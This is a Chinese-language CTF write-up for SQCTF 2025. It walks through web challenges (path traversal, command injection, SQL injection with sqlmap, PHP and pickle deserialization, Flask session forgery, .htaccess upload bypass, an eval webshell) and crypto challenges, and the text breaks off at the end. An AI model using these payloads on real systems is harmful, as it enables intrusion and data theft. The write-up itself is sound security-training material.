sqctf2025
web
ez_game
f12看前端代码

http://challenge.qsnctf.com:32386/flag.php?score=1000000
Through
过滤了../
我们双写绕过即可
index.php?file=..././..././..././..././..././..././..././flag
File_download
题目提示茶买袄(xml),猜测web.xml泄露
help.txt提示访问DownloadServlet路由可以下载文件

发现flagmanager。
这里GET传参下载不了文件。bp发包,改成post传参。下载

下载class文件
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ctf.flag;
import java.util.ArrayList;
import java.util.Scanner;
import javax.servlet.http.HttpServlet;
public class FlagManager extends HttpServlet {
public FlagManager() {
}
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
System.out.println("Please input your flag: ");
String str = sc.next();
System.out.println("Your input is: ");
System.out.println(str);
char[] stringArr = str.toCharArray();
Encrypt(stringArr);
}
public static void Encrypt(char[] arr) {
ArrayList<Integer> Resultlist = new ArrayList();
for(int i = 0; i < arr.length; ++i) {
int result = arr[i] + 38 ^ 48;
Resultlist.add(result);
}
int[] key = new int[]{110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188};
ArrayList<Integer> Keylist = new ArrayList();
for(int j = 0; j < key.length; ++j) {
Keylist.add(key[j]);
}
System.out.println("Result: ");
if (Resultlist.equals(Keylist)) {
System.out.println("Congratulations! ");
} else {
System.out.println("Error! ");
}
}
}
deepseek一把梭了
key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]
flag1 = []
for num in key:
# 逆向运算: (num ^ 48) - 38
original_char = (num ^ 48) - 38
flag1.append(chr(original_char))
print("Flag:", "".join(flag1))
key1 = [
110, 107, 185, 183, 183, 186, 103, 185, 99, 105,
105, 187, 105, 99, 102, 184, 185, 103, 99, 108,
186, 107, 187, 99, 183, 109, 105, 184, 102, 106,
106, 188, 109, 186, 111, 188
]
flag = ''
for k in key1:
c = (k ^ 48) - 38
flag += chr(c)
print("Flag:", flag)
Flag: 85caad1c-33e3-0bc1-6d5e-a73b044f7d9f
商师一日游
进去让你访问/atc1acrd.html
查看源码

第二关

曲奇饼提示cookie

第三关f12看网络

第四关robots协议

第五关
$a=$_GET['hhh'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo xxxxxxxxxxx;
}
}
else{
echo 'nonononono';
}
正则m可以匹配多行。换行绕过
http://challenge.qsnctf.com:31777/atc5uupl.php?hhh=qwe%0Aphp
第六关是个按钮
前端删掉disabled

第七关直接给后门
@eval($_POST['memory']);
命令执行即可

baby include
ctfshow有差不多的题。
AU头一句话木马,然后文件包含日志文件


My Blog
dirsearch扫到有login.php
页面点击github会自动跳转到file.pdf

登录即可

唯一

ssti,fenjing一把梭


Upload_Level1
文件后缀有限制,bp改一下就行


eeaassyy
看源码用view-source即可

逃
<?php
highlight_file(__FILE__);
include ("flag.php");
function filter($payload){
$black_list=array("flag","php");
return str_replace($black_list,"stop",$payload);
}
class test{
var $user = 'test';
var $pswd = 'sunshine';
function __construct($user){
$this->user=$user;
}
}
$payload=$_GET['payload'];
$profile=unserialize(filter($payload));
if ($profile->pswd=='escaping'){
echo "逃出来了, 恭喜恭喜<br>";
echo $flag;
}
?>
pswd变成escaping即可
<?php
class test{
var $user = 'test';
var $pswd = 'escaping';
}
$a= new test();
echo serialize($a);
?>

嘿嘿嘿
<?php
highlight_file(__FILE__);
class hhh {
public $file;
public $content;
public function __construct($file, $content) {
$this->file = $file;
$this->content = $content;
}
public function __destruct() {
if ($this->file && $this->content) {
if (strpos($this->file, 'flag') !== false) {
die("No flag file!");
}
if (file_exists($this->file)) {
die("File already exists!");
}
file_put_contents($this->file, $this->content);
}
}
}
class xxx {
public $data;
public function __construct($data) {
$this->data = $data;
}
public function __toString() {
return $this->data;
}
}
class yyy {
public $path;
public $allowed;
public function __construct($path, $allowed) {
$this->path = $path;
$this->allowed = $allowed;
}
public function __toString() {
if ($this->allowed) {
return file_get_contents($this->path);
} else {
return "Access Denied!";
}
}
}
if (isset($_POST['data'])) {
$data = unserialize($_POST['data']);
if (is_array($data->file) || md5($data->file) === md5("flag.php")) {
die("No cheating!");
}
if (strpos($data->file, 'php://') !== false) {
die("No php protocol!");
}
if ($data->content === "GET_FLAG") {
echo "Flag: " . file_get_contents("flag.php");
}
}
?>
看着多,只要一个类就行了
<?php
highlight_file(__FILE__);
class hhh {
public $file;
public $content;
public function __construct($file, $content) {
$this->file = $file;
$this->content = $content;
}
}
$a=new hhh("flg1.txt","GET_FLAG");
echo serialize($a);
?>
post传
data=O:3:"hhh":2:{s:4:"file";s:8:"flg1.txt";s:7:"content";s:8:"GET_FLAG";}
查看源代码即可
ping
<?php
if (isset($_GET['ip'])) {
$ip = $_GET['ip'];
if (strpos($ip, ';') !== false) {
die('Hacker detected!');
}
system("ping -c 1 " . $ip);
} else {
highlight_file(__FILE__);
}
?>
命令执行,不能用;截断,用管道符||即可
http://challenge.qsnctf.com:30700/?ip=||cat%20/f*
RceMe
<?php
$command = $_GET['com'];
if (isset($command) && strlen($command) <= 5) {
system($command);
} else {
print("你小子干什么呢?");
}
长度限制为5,用nl命令全部输出即可
http://challenge.qsnctf.com:31278/?com=nl%20/*
小小查询系统
sql注入,工具一把锁
python sqlmap.py -u http://challenge.qsnctf.com:31820/?id=1 --batch --dbs
python sqlmap.py -u http://challenge.qsnctf.com:31820/?id=1 --batch -D ctf --tables
python sqlmap.py -u http://challenge.qsnctf.com:31820/?id=1 --batch -D ctf -T flag --dump

Input a number
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['sqctf'])){
$num = $_GET['sqctf'];
if($num==114514){
die("逸一时, 误一世!");
}
if(intval($num,0)==114514){
echo $flag;
}else{
echo "看看你输入的数字: ".intval($num,0);
}
}
?>
科学计数法绕过即可114514e10会被理解成114514×10的10次方
http://challenge.qsnctf.com:31583/?sqctf=114514e10
baby rce
<?php
error_reporting(0);
highlight_file(__FILE__);
extract($_GET);
$token = false;
if(isset($param1) && isset($param2)){
if(sha1($param1) == sha1($param2)){
$token = true;
echo "Level 1 passn";
}
}
class TYctf{
public $person = 20;
public $computer_number = 30;
function getNumber(){
if(isset($this->person)) {
echo $this->person;
}
}
function isFullUse(){
if($this->person != $this->computer_number){
echo "computer is lacking !!!n";
}
else{
echo "computer is enough !!!n";
}
}
static function getKey(){
include ("flag.php");
echo "Level 2 passn";
echo "You are winner, this is your reward: n";
echo $flag;
}
}
if($token){
call_user_func($_POST['payload']);
}
?>
sha1碰撞。找到两个字符加密后为0e开头即可,网上一搜一大推
call_user_func可以调用函数
get:?param1=aaO8zKZF¶m2=aaK1STfY
post:payload=TYctf::getKey
Upload_Level2

放包后还有一个跳转路由,我们还要再改一下

放包即可

Ez_calculate
gpt写个小爬虫计算一下即可
import requests
from bs4 import BeautifulSoup
import re
# 模拟浏览器头
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
}
# 目标地址(替换为真实挑战网址)
url = "http://challenge.qsnctf.com:32088/"
# 创建会话
session = requests.Session()
# 1. 获取页面
response = session.get(url, headers=headers)
soup = BeautifulSoup(response.text, 'html.parser')
# 2. 提取数学表达式
challenge_div = soup.find('div', class_='challenge')
expression = challenge_div.text.strip()
# 3. 计算结果
try:
result = eval(expression)
except Exception as e:
print("表达式解析失败:", e)
exit()
print(f"表达式: {expression} = {result}")
# 4. 提交 POST 表单
post_data = {
'value': result
}
submit_response = session.post(url, data=post_data, headers=headers)
# 5. 打印响应内容(是否成功)
print("提交完成,响应内容:")
print(submit_response.text)

然后访问/flag即可
白月光

输入{{7*7}}返回49。可能还是ssti
fenjing一把嗦

无参之舞
给了账号sqctf。我们bp爆破密码

302这个回显长度不对,试一下就是密码
进去页面试一下echo和file_get_contents可以用。直接读源码
<?php
session_start();
// 用户数据库(明文存储)
$valid_username = 'sqctf';
$valid_password = '1q2w3e4r';
// 禁用危险函数
ini_set('disable_functions', 'exec,passthru,shell_exec,system,proc_open,popen');
// 登录处理
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$input_user = $_POST['username'] ?? '';
$input_pass = $_POST['password'] ?? '';
// 简单凭证验证
if ($input_user === $valid_username && $input_pass === $valid_password) {
$_SESSION['authenticated'] = true;
// 设置立即过期cookie确保浏览器不留痕迹
setcookie(session_name(), session_id(), [
'expires' => 0,
'path' => '/',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);
header('Location: /');
exit();
} else {
// 销毁失败尝试的会话
session_unset();
session_destroy();
$error = "用户名或密码错误";
$login_error = true;
}
}
// 显示登录界面
if (!isset($_SESSION['authenticated'])) {
?>
<!DOCTYPE html>
<html>
<head>
<title>系统登录</title>
<style>
/* 儿时不懂这家传术法,要义怎是须斩断牵挂,不过初识这世间繁华,却要教我怎样告别他,七十五支残蜡,和七十六束火花,在指缝间留下,烫穿侥幸的年华,他们褪色的画,落成碑上的霜花,薪尽后将火传下,当赤团开出花,矗立在彼岸悬崖,花下奈落之底,身后灯火万家,当幽蝶飞向他,含笑将晚霞披挂,只盼望川奔流,稍回我牵挂,当死门风如鸦,归去何必惧怕,此去若化红梅,且向春山播撒,当命数已抵达,今日方觉我似他,来年若蝶归,替我吻向新芽,当离别开出花,裹着再见的谎话,总有少年攥紧,浸透生死的砂,万魂织就锦霞,轻抚千帆再归家,星槎载满月华,温暖了伤疤,当英雄开成花,绘出璃月繁华,他们笑而不语,却欣慰这回答,托举霄灯明霞,拂过青丝与白发,谁曾化春风,换人间春无涯。我才不会告诉你用户名是sqctf呢^_^! */
body {
font-family: 'Microsoft YaHei', sans-serif;
background: url('/bg.jpg') no-repeat center center fixed;
background-size: cover;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
}
.login-container {
background-color: rgba(255, 255, 255, 0.9);
padding: 30px;
border-radius: 10px;
box-shadow: 0 0 20px rgba(0, 0, 0, 0.2);
width: 350px;
text-align: center;
}
.login-title {
color: #333;
margin-bottom: 20px;
font-size: 24px;
}
.input-group {
margin-bottom: 15px;
text-align: left;
}
.input-group input {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
box-sizing: border-box;
}
.login-btn {
background-color: #4CAF50;
color: white;
border: none;
padding: 12px;
width: 100%;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
.error-msg {
color: #f44336;
margin-bottom: 15px;
}
</style>
<script>
// 终极禁用方案
document.addEventListener('DOMContentLoaded', function() {
// 禁用右键
document.addEventListener('contextmenu', function(e) {
e.preventDefault();
return false;
}, false);
// 禁用键盘操作
const bannedKeys = [8,9,16,17,18,19,20,27,33,34,35,36,37,38,39,40,45,46,91,92,93,112,113,114,115,116,117,118,119,120,121,122,123,124,125];
document.addEventListener('keydown', function(e) {
// 禁用功能键
if (bannedKeys.includes(e.keyCode) || e.ctrlKey || e.altKey || e.metaKey) {
e.preventDefault();
return false;
}
// 特殊组合键
if (e.ctrlKey && (e.key === 'u' || e.key === 's' || e.key === 'i')) {
e.preventDefault();
return false;
}
}, false);
// 禁用开发者工具
setInterval(function() {
if (window.outerWidth - window.innerWidth > 100 ||
window.outerHeight - window.innerHeight > 100) {
window.close();
}
}, 1000);
// 禁用F12
Object.defineProperty(document, 'onkeydown', {
get: () => function() { return false; }
});
});
</script>
</head>
<head>
<!-- 禁用浏览器缓存 -->
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Expires" content="0">
</head>
<body>
<div class="login-container">
<div class="login-title">系统登录</div>
<?php if (isset($login_error)): ?>
<div class="error-msg">用户名或密码错误</div>
<?php endif; ?>
<form method="POST">
<div class="input-group">
<input type="text" name="username" placeholder="用户名" required>
</div>
<div class="input-group">
<input type="password" name="password" placeholder="密码" required>
</div>
<button type="submit" class="login-btn">登 录</button>
</form>
</div>
</body>
</html>
<?php
exit;
}
include "flag.php";
echo "flag在哪里呢?,请告诉我<br>";
if (isset($_GET['exp'])) {
// 防止直接文件包含
if (preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
die("别想读flag");
}
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log|read|file|dir|open|scandir|var|loc|conv|rot/i', $_GET['exp'])){
die("不可以哒!");
}
// 防止直接函数调用
if (preg_match('/[a-zA-Z_]+ $/', $_GET['exp'])) {
die("再好好想想!");
}
// 防止敏感函数调用
$forbidden_functions = [
'eval', 'assert', 'create_function', 'call_user_func', 'call_user_func_array', 'system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec', 'pcntl_fork', 'pcntl_waitpid', 'pcntl_wait','pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'highlight_file', 'readgzfile', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'preg_replace', 'ereg_replace', 'str_replace', 'strtr', 'str_rot13', 'base64_decode', 'urldecode', 'chr', 'ord', 'unpack', 'pack', 'gzinflate', 'gzuncompress', 'gzdecode', 'array_shift', 'show_source'
];
foreach ($forbidden_functions as $func) {
if (stripos($_GET['exp'], $func) !== false) {
die("还差一点哦!");
}
}
// 防止正则表达式绕过
if (preg_match('/preg_replace|ereg_replace/i', $_GET['exp'])) {
die("再好好想想!");
}
if (preg_match('/$w+|b(eval|exec|system|shell_exec|passthru)b/', $_GET['exp'])) {
die("非法输入!");
}
// 防止字符串拼接绕过
if (preg_match('/.s*[a-zA-Z_]+s* $/', $_GET['exp'])) {
die("再好好想想!");
}
if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
die("缺少了一点东西哦");
}
// 防止变量函数调用
if (preg_match('/$w+s* $/', $_GET['exp'])) {
die("再好好想想!");
}
// 如果通过以上检查,则执行代码
@eval($_GET['exp']);
} else {
echo "请输入参数 exp 来尝试获取 flag!";
}
?>
<!DOCTYPE html>
<html>
<head>
<title>安全挑战</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
background: #f5f5f5;
}
.challenge-box {
background: white;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
.result-box {
background: #f0f0f0;
padding: 15px;
margin-top: 20px;
border-left: 3px solid #4CAF50;
white-space: pre-wrap;
}
</style>
</head>
<body>
<div class="challenge-box">
<h1>RCE挑战</h1>
<p>你能突破这道防线吗?尝试构造特殊的输入来获取flag。</p>
<p><strong>提示:</strong>系统只接受特定的rce函数调用</p>
<?php if(isset($_GET['exp'])): ?>
<div class="result-box">
<?php if(!empty($output)): ?>
<?php echo nl2br(htmlspecialchars($output, ENT_QUOTES, 'UTF-8')); ?>
<?php else: ?>
命令已执行
<?php endif; ?>
</div>
<?php endif; ?>
</div>
</body>
</html><!DOCTYPE html>
<html>
<head>
<title>安全挑战</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
background: #f5f5f5;
}
.challenge-box {
background: white;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
.result-box {
background: #f0f0f0;
padding: 15px;
margin-top: 20px;
border-left: 3px solid #4CAF50;
white-space: pre-wrap;
}
</style>
</head>
<body>
<div class="challenge-box">
<h1>RCE挑战</h1>
<p>你能突破这道防线吗?尝试构造特殊的输入来获取flag。</p>
<p><strong>提示:</strong>系统只接受特定的rce函数调用</p>
<div class="result-box">
命令已执行
</div>
</div>
</body>
</html>
flag.php是个假flag。
我们用scandir函数看目录文件,然后再读取
http://challenge.qsnctf.com:30846/?exp=print_r(scandir(%22/var/www/html%22));
http://challenge.qsnctf.com:30846/?exp=echo%20file_get_contents(%22f1ag.php%22);
哎呀大大大黑塔
看pv,猜很久,最后发现是视频pv号:BV1tXckehEd3
<?php
class Secret {
public $key;
public function __construct($key) {
$this->key = $key;
}
public function __destruct() {
if ($this->key === "SQCTF") {
include "./flag.php";
echo "flag : ".$flag;
} else {
echo "Try harder!";
}
}
}
if (isset($_POST['data'])) {
$data = $_POST['data'];
$obj = unserialize($data);
} else {
highlight_file(__FILE__);
}
?>
简单反序列化
<?php
class Secret {
public $key;
public function __construct($key) {
$this->key = $key;
}
}
$a=new Secret("SQCTF");
echo serialize($a);

伪装
源码:
# 导入必要的模块
from flask import Flask, session, request, render_template_string # Flask核心模块
import flask # Flask框架
import os # 操作系统接口
# 创建Flask应用实例
app = Flask(__name__)
# 设置会话加密密钥(实际生产环境应使用更复杂的随机字符串)
app.secret_key = 'love'
# 定义根路由'/'的处理函数
@app.route('/')
def index():
# 在会话(session)中设置默认角色信息
session['role'] = {
'is_admin': 0, # 0表示非管理员
'name': 'aiyamaya' # 默认用户名
}
# 读取当前Python文件内容
with open(__file__, 'r') as file:
code = file.read()
# 返回当前文件的源代码(存在安全隐患,不应在生产环境这样做)
return code
# 定义管理员路由'/admin'的处理函数
@app.route('/admin')
def admin_handler():
try:
# 从会话中获取角色信息
role = session.get('role')
# 验证role是否为字典类型
if not isinstance(role, dict):
raise Exception # 如果不是字典则抛出异常
except Exception:
# 捕获异常,返回未授权访问提示
return 'Without you, you are an intruder!'
# 检查是否为管理员(sjx)且具有管理员权限(is_admin=1)
if role.get('is_admin') == 1 and role.get('name') == 'sjx':
# 执行系统命令读取flag文件(存在命令注入风险)
flag = os.popen("cat /flag").read()
# 构造包含flag的消息
message = "Oh, You get me! The flag is: %s" % flag
# 渲染并返回消息
return render_template_string(message)
else:
# 权限不足提示
return "Error: You don't have the power!"
# 主程序入口
if __name__ == '__main__':
# 运行Flask应用,监听所有网络接口的80端口
app.run(host='0.0.0.0', port=80)
jwt伪造,密钥为love。jwt.io网站改的我都不会用了nnd。上脚本吧
from itsdangerous import URLSafeTimedSerializer
secret_key = 'love' # 与目标应用相同的密钥
salt = 'cookie-session' # Flask 默认的 salt
# 创建序列化器
serializer = URLSafeTimedSerializer(
secret_key,
salt=salt,
serializer=None, # 默认使用 itsdangerous 的 JSON 序列化
signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'sha1'}
)
# 伪造会话数据
forged_session_data = {
'role': {
'is_admin': 1,
'name': 'sjx'
}
}
# 生成伪造的会话 Cookie
forged_cookie = serializer.dumps(forged_session_data)
print("伪造的会话 Cookie:", forged_cookie)

Are you from SQNU?

post方法

传参

添加referer头

改UA头

加XFF头

加cookie

Look for the homepage
dirsearch没扫出来,御剑扫出来了。challenge.php

代码
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
// 怎么在不知道flag.php中的code和flag的情况下绕过? 我不造啊!!!
if(isset($_GET['pass1']) && isset($_GET['pass2']) && isset($_GET['verify'])){
$pass1 = (String)$_GET['pass1'];
$pass2 = (String)$_GET['pass2'];
$verify_code = (String)$_GET['verify'];
if($verify_code === $code &&$pass1 === $flag || $pass2 === "welcome"){
echo "Level1 Passn";
echo "关关难过关关过 !!!";
if(isset($_POST['value1'])){
$value1 = $_POST['value1'];
$value3 = $_GET['value3'];
parse_str($value1,$a);
if($a['fly']==md5($value3)){
echo "Level2 Passn";
echo $flag;
}
}
else{
echo "想想看parse_str是干嘛的来着n";
}
}
else{
echo "你小子就是这样绕过的吗 ???n";
}
}
第一关,应该有管道符||,所以只要满足pass2=welcome即可。
parse_str($value1,$a);是个变量覆盖函数。我们利用这个函数让fly的值赋值为md5(value3)的值即可。

所以传参

图片展示功能
前后端都有检测,试一下GIF89a文件头也不行。但是可以上传.htaccess将文件解析为php
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>
先上传shell.jpg

然后上传.htaccess文件。
最后命令执行

pickle
最简单的pickle反序列化。
import pickle
import base64
class Exploit(object):
def __reduce__(self):
# 使用内置 open 函数
return (
eval,
('open("/flag").read()',)
)
# 生成恶意pickle数据
def generate_payload():
payload = pickle.dumps(Exploit())
print("原始pickle数据:", payload)
# Base64编码以便传输
encoded = base64.b64encode(payload).decode()
print("nBase64编码的payload:")
print(encoded)
return encoded
if __name__ == '__main__':
generate_payload()
ggoodd
<?php
highlight_file(__FILE__);
include ("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=='abc'&&$json['x']=="cba")
{
echo $flag;
}
?>
一个json一个post,注意json中是双引号

开发人员的小失误
一位开发人员对网站进行了修改,修改之前对sql文件进行了备份,但是因为他急着去吃饭,在走的时候好像忘记了些什么……
看到备份,大胆猜测肯定是备份文件可以访问。
访问/backup.sql下载下来,flag就在里面。
自私的小s
御剑扫描发现end.php

访问
<?php
highlight_file(__FILE__);
class Genshin_impact{
private $value;
public function __construct($v){
$this->value = $v;
}
function __destruct(){
echo eval($this->value);
}
}
$payload=$_GET['payload'];
$payload=str_replace("%","nonono",$payload);
unserialize($payload);
?>
注意这里是私有变量,我们序列化会产生空格。不能用%00过滤,deepseek一下。利用S和 0过滤


千差万别
读环境变量即可。md一开始读/proc/self/environ没用,研究了好久的题结果这样就出了。
view?doc=/proc/1/environ
crypto
base?

小白兔白又白
base91
base64
base62
from hex
rabbit key是233(提示b站,看一下是2233娘)
别阴阳我了行吗?
阴阳怪气解密即可
简单RSA
这个网站分解出p和q,deepseek一把梭
from Crypto.Util.number import inverse, long_to_bytes
# 给定数据
e = 65537
n = 7349515423675898192891607474991784569723846586810596813062667159281369435049497248016288479718926482987176535358013000103964873016387433732111229186113030853959182765814488023742823409594668552670824635376457830121144679902605863066189568406517231831010468189513762519884223049871926129263923438273811831862385651970651114186155355541279883465278218024789539073180081039429284499039378226284356716583185727984517316172565250133829358312221440508031140028515954553016396884149904097959425582366305748700291610280675014390376786701270107136492645593662763444032174543205008326706371954830419775515459878227148997362533
c = 3514741378432598036735573845050830323348005144476193092687936757918568216312321624978086999079287619464038817665467748860146219342413630364856274551175367026504110956407511224659095481178589587424024682256076598582558926372354316897644421756280217349588811321954271963531507455604340199167652015645135632177429144241732132275792156772401511326430069756948298403519842679923368990952555264034164975975945747016304948179325381238465171723427043140473565038827474908821764094888942553863124323750256556241722284055414264534546088842593349401380142164927188943519698141315554347020239856047842258840826831077835604327616
# 分解 n (假设已经分解得到 p 和 q)
p = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863611867388261 # 示例,需替换
q = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863614460682753 # 示例,需替换
# 计算 phi(n)
phi = (p - 1) * (q - 1)
# 计算私钥 d
d = inverse(e, phi)
# 解密
m = pow(c, d, n)
# 转换为 ASCII
flag = long_to_bytes(m)
print(flag)
春风得意马蹄疾
社会主义核心价值观解密,多解密几次即可
ezCRT
题目提示中国剩余定理
deepseek一把嗦
import math # 添加这行
from sympy.ntheory.modular import crt
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes
# 给定的数据
n1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681
n2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063
n3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093
c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165
c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023
c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614
# 验证 n1, n2, n3 是否互质
assert math.gcd(n1, n2) == 1
assert math.gcd(n2, n3) == 1
assert math.gcd(n1, n3) == 1
# 使用 CRT 计算 m^3 mod (n1*n2*n3)
N = [n1, n2, n3]
C = [c1, c2, c3]
m_cubed, _ = crt(N, C)
# 开立方求 m
m, is_exact = iroot(m_cubed, 3)
if is_exact:
print("Flag:", long_to_bytes(m))
else:
print("Failed: m^3 is not a perfect cube.")
失落矿洞中的密码
用sagemath先跑出离散对数d
p = 7654319
a = 1234577
b = 3213242
E = EllipticCurve(GF(p), [a, b])
G = E(5234568, 2287747)
Q = E(2366653, 1424308)
# 计算离散对数 d
d = discrete_log(Q, G, operation='+')
print("Private Key d =", d)

然后带入计算,用sagemath跑即可

密室逃脱的终极挑战
ida打开,f5反编译即可

玩的挺变态啊清茶哥
猪圈密码,对着解密即可

字母的轮舞与密钥的交响曲
维吉尼亚解密

然后栅栏

丢三落四的小I
丢给deepseek,一把梭

import gmpy2
from Crypto.Util.number import long_to_bytes
